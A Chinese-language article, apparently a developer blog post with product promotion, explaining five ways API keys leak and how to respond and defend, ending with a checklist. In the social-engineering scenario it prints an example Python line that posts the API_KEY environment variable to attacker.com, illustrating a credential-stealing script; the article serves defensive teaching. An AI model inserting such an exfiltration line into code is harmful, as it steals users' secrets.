API Key 泄露后会发生什么——5 个真实泄露场景和防御方案
前几天一个技术交流群里有人发消息，说自己的 API Key 可能泄露了，余额被刷掉了不少。
这种事在开发者群里不算新鲜。他把秘钥硬编码进了前端 JavaScript，上线没多长时间就被人扫到了。请求本身是合规的，平台那边显示一切正常——只是不是他发的。
API Key 泄露之后会发生什么？不是"可能被盗用"这种模糊说法，而是一套可预见的链路：扫描发现 → 批量调用 → 余额耗尽 → 账号留违规记录。GitHub 上有专门扫泄露秘钥的机器人，从推送到公开仓库到第一次恶意请求，平均间隔不到几分钟。
下面是 5 个常见的泄露场景和对应的防御方案。
1. 一行 git push，4 分钟后开始扣费
最经典的翻车现场。
本地开发把 API Key 写进.env，忘了在.gitignore里排除，git add .一把推上去。或者更隐蔽的：config.py里有一行API_KEY = "sk-xxxx"，整个文件提交了。
有人知道直接推 key 危险，特意把 key 存到config.example.py，注释写着"把这里的占位符换成你的真实 key"——结果真实项目的config.py里也是明文，只是没公开仓库而已。
但从你推上去那一刻起，倒计时就开始了。
GitHub 上有公开运行的泄露秘钥扫描机器人，7×24 小时监控新提交。有人做过实验：把一个有效的 key 推到公开仓库，4 分钟后被扫描到，6 分钟后账单开始计费。
更阴的是：就算你发现后删了那行代码重新提交，秘钥依然存在于 Git 历史里。任何有仓库访问权限的人都能翻出来。
应急三步走：
- 立刻去平台删除这个秘钥（不是禁用，禁用了还能被重新启用）
- 新建秘钥，更新所有配置
- 翻账单日志，查今天的调用记录，找不认识的 IP 和模型
防御核心：真实秘钥永远不进仓库。.gitignore排除.env，项目里只放.env.example占位符，代码里用os.getenv("API_KEY")读取环境变量。
2. F12 一打开，你的 key 就不是你的了
浏览器 DevTools 的 Network 面板里，所有请求 header 都是可见的。前端代码里如果有Authorization: Bearer sk-xxxx，用户打开 F12 就能看到。
有开发者知道这个，把 key 混淆进了打包后的 bundle.js——sk-xxxx变成了s\x6b-xxxx。
没用。反混淆工具 30 秒还原。
还有一种常见误区：把 key 放在前端代码的注释里，觉得注释不会被执行所以安全。源码是公开的，注释也是公开的。
这个场景的应急跟第一个一样：删 key、建新 key、查账单。但多一步——要立刻热更新前端，否则已经缓存了旧版 bundle.js 的用户还能继续用你的 key。
防御核心：前端不应该直接调用大模型 API。正确架构是前端 → 你的后端 → 大模型 API，后端做鉴权，前端拿到的是业务系统的 token，不是 AI 平台的 key。
个人项目退而求其次，用 Cloudflare Workers 之类搭个代理层，把 key 藏在服务端。
3. 截图里那串星号，可能根本没遮住
技术分享截了终端，API Key 在命令参数里露出来了。录教学视频窗口拉宽了，.env文件内容全可见。Stack Overflow 上贴代码忘记脱敏。
这些都算低级失误。真正阴的是另一种：
截图里有用户中心界面，秘钥列表可见，key 本身被星号遮住了——没问题。但有人截了正在生成秘钥的弹窗，明文可见，然后发到了技术群。
这个场景的麻烦在于：你不知道有没有泄露。能做的是主动检查账单——重点看调用时间（是不是半夜有流量）、来源 IP（是不是陌生的）、调用的模型（是不是自己用的）。
发现不是自己发的请求，立刻走应急流程。
防御核心：截图前打码秘钥区域。终端命令里用$API_KEY环境变量而不是明文。录屏前先覆盖环境变量，或者用测试用的 demo key。
4. 人走了，key 还活着
最容易被忽视的场景。
开发者本地.bashrc里有export API_KEY=sk-xxxx，离职交接时没清理。旧设备没抹除就转让了。或者只是普通地——员工知道这个 key。
更麻烦的是团队共用一个 key 的情况。人走了，key 还在用，你没法区分是谁在调用。万一被拿去做别的，账单记在你头上。
这个场景的解法就一句话：一人一 key，或一项目一 key。
项目 A 用key_a，项目 B 用key_b，测试环境用key_test（设额度上限）。员工离职时只吊销他负责的那个 key，其他业务不受影响。
比如器灵模型广场的多秘钥管理功能，同一个账户下能创建多个 key，每个独立命名、独立删除、账单分开记录。有人离职 → 删掉对应 key → 新建 key 发给接替的人 → 完成。整个过程两分钟，其他服务零影响。
5. “帮我测试一下这个 API” —— 你跑不跑？
攻击者构造一个看起来合理的请求，骗你在本地运行一段脚本。
比如有人找你："帮我测试一下这个 API 是否可用？"附上一个 Python 脚本。你打开一看，功能确实在测 API，但中间藏了一行requests.post("http://attacker.com/collect", data={"key": os.getenv("API_KEY")})。
跑完脚本，你的 key 就被偷走了。
或者更高级的：伪装成模型提供商的邮件，要求"更新秘钥信息"，链接到仿冒登录页。
还有依赖投毒——某个 npm 包或 pip 包里藏了读取环境变量并上传的代码，npm install就中招。
防御核心：陌生人的代码 review 之前不运行。运行不信任的代码用独立虚拟环境，不继承宿主的 key 相关环境变量。给 key 设额度上限，哪怕泄露了，攻击者最多用掉你设的额度。
发现泄露了，按这个顺序做
别慌，按时间线执行：
T+0— 发现异常或接到提醒
T+1 分钟— 登录平台，找到泄露的 key，删除（不是禁用）
T+5 分钟— 查最近 24 小时账单，截图留存，核对异常消费
T+10 分钟— 新建 key，更新所有配置文件、CI/CD Secret、服务器环境变量
T+30 分钟— 确认新 key 正常调用，所有服务恢复
T+60 分钟— 复盘：key 从哪泄露的，堵住漏洞
器灵模型广场后台的账单日志可以按时间范围筛选，登录 → 用量统计 → 按今日筛选，看有没有非正常时段的调用峰值。快速核对异常调用记录很方便。
速查表：8 个场景怎么防
| 场景 | 推荐做法 | 优先级 |
|---|---|---|
| 代码仓库 | .gitignore排除.env，用git-secrets扫描 | 🔴 高 |
| 前端项目 | API 调用只走后端，前端不持有 key | 🔴 高 |
| 多人团队 | 一项目一 key，人员变动只换对应 key | 🔴 高 |
| 开发环境 | 本地用direnv管理环境变量 | 🟡 中 |
| 日常运营 | 定期轮换秘钥（3-6 个月一次） | 🟡 中 |
| 不信任代码 | 隔离环境运行，不继承 key 环境变量 | 🟡 中 |
| 额度控制 | 设单日消费上限，超限自动暂停 | 🟡 中 |
| 截图录屏 | 分享前脱敏，用环境变量占位 | 🟢 低 |
最后
安全这件事，开发者通常要踩一次才会认真对待。
但对 API Key 来说，踩的代价不只是钱——你的 key 对应的账号有调用记录，如果被人用来生成违规内容，这个账号就是你的账号。
秘钥泄露的处理链只有三步：删旧 key → 查账单 → 建新 key。越快越好，每延迟一分钟都是在给攻击者时间。
日常管理上，建议养成几个习惯：不同项目用不同 key、给每个 key 设消费上限、定期轮换。器灵模型广场支持同一账户下创建多个秘钥，每个独立命名、独立删除、账单分开记录，人员变动时只换对应 key 就行，不用全局重置。把秘钥管理的粒度做细，泄露的损失面就能控制住。